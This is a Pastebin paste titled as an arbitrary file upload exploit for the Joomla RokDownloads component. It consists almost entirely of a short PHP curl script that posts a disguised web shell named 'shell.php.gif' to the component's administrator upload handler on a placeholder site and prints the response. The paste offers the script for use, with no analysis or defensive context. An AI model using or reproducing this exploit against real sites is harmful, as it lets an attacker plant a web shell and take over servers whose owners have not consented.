Guest User

com_rockdownloads Arbitary File Upload

a guest
Oct 14th, 2013
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.37 KB | None | 0 0
  1. <?php
  2. $uploadfile="shell.php.gif";
  3. $ch =
  4. curl_init("http://www.exemple.com/administrator/components/com_rokdownloads/assets/uploadhandler.php");
  5. curl_setopt($ch, CURLOPT_POST, true);
  6. curl_setopt($ch, CURLOPT_POSTFIELDS,
  7. array('Filedata'=>"@$uploadfile"));
  8. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  9. $postResult = curl_exec($ch);
  10. curl_close($ch);
  11. print "$postResult";
  12. ?>
Add Comment
Please, Sign In to add comment